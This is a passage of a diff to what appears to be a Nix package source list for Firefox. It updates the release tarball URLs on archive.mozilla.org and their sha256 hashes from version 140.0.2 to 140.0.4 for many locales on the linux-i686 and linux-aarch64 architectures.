       locale = "ta";
       arch = "linux-i686";
-      sha256 = "f8a7ab5bed5c0f873b7efa4cb356ff3fcea5e7e5e9c21ffb56b0c2d14644a6b7";
+      sha256 = "979babaf05ebc2c16bf2da8d279f6f3828f048aac6d04e2dd86dc7f4fcc554d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/te/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/te/firefox-140.0.4.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "7dcae041f4c49f0383a312314226406887e5f8ef32231cc8e1ec5980e37eb932";
+      sha256 = "7c7da8dadec29b82e314d7912bda12fa293e11e94f7868063d4dd94407dc2bf5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/tg/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/tg/firefox-140.0.4.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "8124279f9c9549f3848d6c962833e3cf93fe5be31c1ef90c3662d410d0102c6c";
+      sha256 = "9115f96a39349f10579c2cde41913cdde6eecf04543caac8c6a35c52c4e5add4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/th/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/th/firefox-140.0.4.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "b474ef15d79135e281dee9cbb2b10f2fdc4679e9ac21fd860b027216fd153c73";
+      sha256 = "6c0b244c8a6ee15c8f5b0f0bf5ce0e31af2d99d20d734d21b6e6ce18ac567d84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/tl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/tl/firefox-140.0.4.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "0b0546d631a63eec671a07f1880172b129f5b32e1e5ca80c253e384b9e5bd7fc";
+      sha256 = "1cd80d936cd748cb208c47e2f0b5f3f69f22fc24621b02c22cd53b60b9115583";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/tr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/tr/firefox-140.0.4.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "c323f43318cad08988eb3e822c8841ae99c3b85ad9159da6d22efdbe70f36b56";
+      sha256 = "60ed67df6ffea409dc5e4ac797377a6e70c209df5f75c7d973eadc4b01d64445";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/trs/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/trs/firefox-140.0.4.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "c21070795213316816e3cd45cc8f3643639b81117c9788ef4ef24bf5265e1ff8";
+      sha256 = "acd9b73c34d44f136fe10cc6fb02b2e61a0c0e4c1f0d7b90b69c1f2dd37e3cd2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/uk/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/uk/firefox-140.0.4.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "579b97d4970488a9c8c0bf9a6e313e529fa4e9f4083da5d0b5c3fd20976d9a8d";
+      sha256 = "0317a19713592c74d4c63985343aa19c5bf4b5a03d888e2dd1f6f8e6df57c411";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ur/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ur/firefox-140.0.4.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "a55e11b54220367f01d4168d02f3a3cc529723a2f566b4583f12e875332457a3";
+      sha256 = "20a209284bf272b652bddec3c5e7ade62281b08c2d4cb9f64daad729bf68de41";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/uz/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/uz/firefox-140.0.4.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "4ccf80494d285d8e8b0761e885a78605b8fd393a1e846d66e93c7d35e6fa9b75";
+      sha256 = "f751e5ca2598227f47d947616f489f7f7d68dae18aab7d98723d840db3d3eed0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/vi/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/vi/firefox-140.0.4.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "ac92738d2a8e5b29e6bc454a6fe26ddc5ed2d5b56f732c4ebefe03fc3a533786";
+      sha256 = "d4f49dda1cf6095b3efd018825c0a486e339685b5e036ec24839fb970cb64a9a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/xh/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/xh/firefox-140.0.4.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "60727ffc393c38f927856ec094273fd4738884d2aa9eedbf3daf3f7741a9629f";
+      sha256 = "21c8dae0e3d167785cc6836d6e84b0002b3ecfd078026cecdfd56c4f78b4ad61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/zh-CN/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/zh-CN/firefox-140.0.4.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "7be14d1553d6fcfa983b269fc313c6016b6ec9e1c170c34f9d85df211a5093b3";
+      sha256 = "ec63201dc79770db65338212096adb556bbd6dbfd4dd437f65828020f3c084ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/zh-TW/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/zh-TW/firefox-140.0.4.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "b52683c7ac05ba33f6edcad2730652709ea16152738845a10d87332b17601d8f";
+      sha256 = "880a92add3be7ef80e53906949732f5be0de4b5f8160b9573cbcd73b977f2918";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ach/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ach/firefox-140.0.4.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "93f2737be5fa33cf201efd4d8b7f7e96f6e1993ffb40c69cf2e804b8b751a9f5";
+      sha256 = "ee6a2f927fceac0a29b482d26196cb548d947533271c24b29be8e18f1bcb023e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/af/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/af/firefox-140.0.4.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "c9053eb18c562e260b2107989ebcca3009ab167b975b030b6c998a922a26c411";
+      sha256 = "3509f5a61f54ff9cf90323b6916ebbf0d090c79696fcf59c5b75c8b265307d57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/an/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/an/firefox-140.0.4.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "566b5b4f42ede2c3c1ade1eee56f7442c72b5b6d386e4236999911fa91317288";
+      sha256 = "7bba810d969a564349e6fec524735fa8b112baa736d6fb89c2e9408ecf9b6f3e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ar/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ar/firefox-140.0.4.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "d1330f52cf1fe976a7ae5e64aebc0548cd56b13561fc3b8c0a2b6a264270c3d7";
+      sha256 = "3d894a428a8d21831ee740b08362cf5ee4f3e801dd79dfdeda5035e1744581b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ast/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ast/firefox-140.0.4.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "1423b6da41e1fb52fa7ca4f2cc425d59ce8f2a85f947159c3623a5be39bf8759";
+      sha256 = "b326e605e76a2ab98e76524a7f492b78e2a09d0780665966ca535d339fc9c1a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/az/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/az/firefox-140.0.4.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "10812ca634f32c6c08f51c2d5eb7d474d26784947dc5f36dc7ae2790e9c3e348";
+      sha256 = "0829bd77aa680c1fa46fbbd1ac8b198f3bf8eb05370a516e8ca45ae5cad1e7f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/be/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/be/firefox-140.0.4.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "1543013e7e43bcfab2f1020b541681bf38e27d824a80aa0bbee4ffd72eb5254c";
+      sha256 = "341ad96edc419e1f04124c9f64644f519d4dd0e5330b3cc7c09deb065cac724e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/bg/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/bg/firefox-140.0.4.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "06de6f2b82f4e6087708e4471a119bae4996b9ae9acb9e7803591330d7a6ba15";
+      sha256 = "fb3e054b853a1fc6405c6c1fa79a8ba85b90b91f2a5f002746a86116b27359fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/bn/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/bn/firefox-140.0.4.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "783d9510244245b2ed03f6bfc1ca51fb88e52d01ae311d594541214203c3b04b";
+      sha256 = "967d668fdd4d4b7c4400cd97fa5e6def893475f226fc87d3c16f760de2131e36";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/br/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/br/firefox-140.0.4.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "920c463ada52add81a42fcda544b3a635cee8424d04f9bf1ebd2314e5b3c3d03";
+      sha256 = "fc5bf2eb28c833ce9327921d31361d689a95be25758decd739e40f9c95254ba1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/bs/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/bs/firefox-140.0.4.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "1063562c3bd8dbbee227979a77ee3a8f7eb24fd097caf8e7c998a16d6cfe4e7c";
+      sha256 = "4f1a924828e80324e0b2f11c7525b94d079cd68d1291f778bdecc8e705c0af90";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ca-valencia/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ca-valencia/firefox-140.0.4.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "425b36e600980a43cdcbcfd715fd6cba78cfab2939218ec569742b56d7b01993";
+      sha256 = "5c5922151fcec6d24a4720df7d8990060055c0b959c313434018e8dd434527cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ca/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ca/firefox-140.0.4.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "1f31dc40cfd4aeb2bea1f3b0f5c9da5caa28f9366ef662cb751013232054d1aa";
+      sha256 = "c098f2b52b3b616c38065664d4f2e21c6a7a2dc5e4a7f95ea1f644cf0d9c53aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/cak/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/cak/firefox-140.0.4.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "5c4dddb13d44d84b05bac6c09c65f5e6d3c07040f301e8d84c88a1d5e0189101";
+      sha256 = "3dd00b15b3d6be7d58826da7f9aebbc9914c9b06bf5e99799cd7c59a0c5288a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/cs/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/cs/firefox-140.0.4.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "421edcb43470ef104c508b7247a8ebd846c8578ddff89ed3508fdb92ea079f72";
+      sha256 = "70556ad2f415e77a310f4665680a2b20bf0e775622ae2313c465e642dd18399a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/cy/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/cy/firefox-140.0.4.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "b357fff5e0268071ebf077f79650f054ae9ad428d5386192d71a2f3bd701c1d8";
+      sha256 = "e3bcfcb7bdafcdad35e44f2ec05597c1d369f7172c94e83654b6d51b70afbc03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/da/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/da/firefox-140.0.4.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "c99af654178e98426702cf6b058d497de10c8fc6daff54628dbd8c1a30b6dfa5";
+      sha256 = "20232efc4305599d6baeeb5dc408b910ff74758ba71a01db02b1dec386989065";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/de/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/de/firefox-140.0.4.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "44451ee98bf89ecb175d482cec2e9e00ef6a6ce0f9cd42ab48a9cc66cdd7f09e";
+      sha256 = "5efee132fa89ad0475752616afdd9ba2036c7571254829616430f53a34175300";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/dsb/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/dsb/firefox-140.0.4.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "2c87845146938dc90f155fa36d430dfc9033ee3dd551b2aecfaef5b90d8a63df";
+      sha256 = "a30c1efe29f33a855713fbf8063575f7d49dde6a2616b5fa3cf1c3cf487d37ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/el/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/el/firefox-140.0.4.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "b0c740891f16b8669db8975b615597e6b2bdd12a17c0fe15d0dbe27c3a91ab6c";
+      sha256 = "d4193f216d3b1ac5b40a2fa8c94b45f1ac4531cdf22f3a41c45b840d4d125f1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/en-CA/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/en-CA/firefox-140.0.4.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "e9d0a15751aef60fb29ee3ebf34f7f268e488c653da43a67eb1ea97112eca326";
+      sha256 = "227a921b8d40f111a0d0212fe5d44455f20297a210dbb05188f8ed0dda6cebab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/en-GB/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/en-GB/firefox-140.0.4.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "5ba47aad25a1196995e6a2bcff149d4eadefa11283c50c6cc5774b57492b3e61";
+      sha256 = "7240f66b1a87c0b796b254056ce7e8dc644f294fa5156cd7cbdec3f7d1a7792b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/en-US/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/en-US/firefox-140.0.4.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "da5c1ff12d2e7a3dab953964ce13e8382a8f6c38d3981ae31e1bea3b6903e34a";
+      sha256 = "49da44e2936ef9ce1f11da3630ded25d5c1b6335a8a7594ba448aa54777eefc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/eo/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/eo/firefox-140.0.4.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "e1768a196abf0dd038ac810b2825bd2bba889ebff1bdb1299038413f9a05ee7b";
+      sha256 = "0bae6d02e31658ce42e6abb42ed49ad1af39d8f16284bb9d28124182b35f357d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/es-AR/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/es-AR/firefox-140.0.4.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "1426c8e7dcb77b71fd3e1414b75cb49096d5705f417723392de082ae2b4228f9";
+      sha256 = "a2428221a38ddd566dfd4a594060d7aff353e671bce4d130a8f0a5e7bad46903";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/es-CL/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/es-CL/firefox-140.0.4.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "b8622eae2ad0a5431194b2ee2f13c67d49be7ce53be0548a417677b000677c84";
+      sha256 = "369938be0e9d55b11bf31112c7ab947953be1322c98522ebdd0c4885fb136912";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/es-ES/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/es-ES/firefox-140.0.4.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "f8e16795acdbe35259517d9fb56faeab513fbe28163e50eb0cd7362e953f38b9";
+      sha256 = "91bbd1ad46d76473d48a99ab32ad52aafc6bc4affdf4813309c96a10042dab62";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/es-MX/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/es-MX/firefox-140.0.4.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "277b27023b06851cccc8f590b27b3bb48b05bac693f15c798b2a6aa560edaab0";
+      sha256 = "6f4314b2b0fabf30dbe4ad561c45287199159a03542991666fac5876ff69095e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/et/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/et/firefox-140.0.4.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "db1fdfbb1ac5c51fccee6142961508501ce6e1893a949d3009d67375d182d1c7";
+      sha256 = "f02a0088768be3728906b464b9fa7a5dbc29aca6d453e614954836d4a2a037d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/eu/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/eu/firefox-140.0.4.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "dddfd6538724b45e83b8a8a0ba786ea5c8655f0edc7c70caaafe16ca7c37b79c";
+      sha256 = "64fd3f22e97c514b90e40d21eccb3b60cf5e75bc5a1a5e439e32aad8846f0080";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/fa/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/fa/firefox-140.0.4.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "68e633772e2519d9a760195bfa2ad9e0b1994c267751b3d33d0cb6258362025d";
+      sha256 = "770254c4417f195e9bdad4de8428688bdc36f25bc3cbacf1f694427f3393d2f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ff/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ff/firefox-140.0.4.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "4bfb7ebdede857733e68421067827e93f33686e50588e5220ef007f462d1683a";
+      sha256 = "5b0375e73dedda5387f80033ced469c7f428096d316731674439cf6a7a049a23";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/fi/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/fi/firefox-140.0.4.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "f178366d85265e82fd1ad0dbcb1e6d483986947225524cf7e4c5ee335a2a6f2a";
+      sha256 = "50ca8051d24cb8876f1daae33082d4e7ba3c5e37d1a4dd6af8fb50e543365155";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/fr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/fr/firefox-140.0.4.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "6be69cd7174af0ff25dd43e83b6b3e1c39ccc55ce95d397352f3f8736297ca02";
+      sha256 = "7d08364316235d9709a3893efff19ec3b427c9bb2b42525ec9f4b8d3fa93c1b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/fur/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/fur/firefox-140.0.4.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "0bc3f68f88c0ae01f5145594aee75f8aa4b71cfd075b9f7f63307d295a12f6ab";
+      sha256 = "58d796e386371bac0f72e0b42f557dac7af26c4188cb97aee29a99de2f13c1be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/fy-NL/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/fy-NL/firefox-140.0.4.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "099ec6292ac3fbe9a4eb37649c14ba2014ce0c2e3386cceeb3bdc5d670312d11";
+      sha256 = "05f36abc1281d79bf70a83800945d939d7508d1a781f16dd6e89eef67189e1b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ga-IE/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ga-IE/firefox-140.0.4.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "80b8db2b3437f9569445a9e41d7731538e0162bc34dffbf6a84b746f66c1e323";
+      sha256 = "ea2561f9ad01e1fc9b92da91d855ff9a20d887989616d1bc89874383ce6cfd0a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/gd/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/gd/firefox-140.0.4.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "ef72ee0642597225a9fe41f2971465c2417a8a01c1120499c5be079c0bc14e0e";
+      sha256 = "bba853484a42bd14c86a647f1132e75f237f2ccb618b4f0e40a5183a8408c589";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/gl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/gl/firefox-140.0.4.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "ac72b92ff76018487fe472370f0f43ef6c32272db416db9c707f29e33de7539e";
+      sha256 = "bc333bfbd4c5a7f219d1f3f29418cca7472ffe1a7e01bd40a5eab8a33e8d492d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/gn/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/gn/firefox-140.0.4.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "c43f33a69dbf9834fba6bd5db60e7056269e0430f9f49255296d9df3babad078";
+      sha256 = "5c43fc318ebe73f0b9ee79ba24379f45c423d377ae35634839000080f69c2fb9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/gu-IN/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/gu-IN/firefox-140.0.4.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "591034871a4d037e7d580893bbf5facbc8490df0b23820fe2059c42346771028";
+      sha256 = "d3ed9b516e2c020a3db99373ada5ebf47053954e6ddaa05b82d2235b0493d1ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/he/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/he/firefox-140.0.4.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "6c34b0624f703b75a1860e5e4fdc9e2ef4668404505b537806067546b3d2a5be";
+      sha256 = "a7766f63fd84e10f60cb9320e42b5a385436513addf5467415fed92a1ba98c4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/hi-IN/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/hi-IN/firefox-140.0.4.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "e0e1ab49547cb0ad5901f9322dff8a8d1f00d998691c0c95d99d959ac71e6369";
+      sha256 = "21c799ade147e12f177ae9c63d0434ca845de3a75546017ae4bd7fe33984bff9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/hr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/hr/firefox-140.0.4.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "13204ea33f683ff9199909bb15f99d3ad51cd1d6c6c6676b6c0ec2a261e28ed4";
+      sha256 = "ef0ce05465362d699d95535a2c8af8e7a041dc959391d2a1e032cc043bf38d0f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/hsb/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/hsb/firefox-140.0.4.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "509074d795b75b94d7d1d5344cd12054b304a84d6bdd16f8714cc894f212ba53";
+      sha256 = "ace01688b2523329e5070a34672262c309fb27a96d7b9e33cedaeaac1d721581";
     }
     {
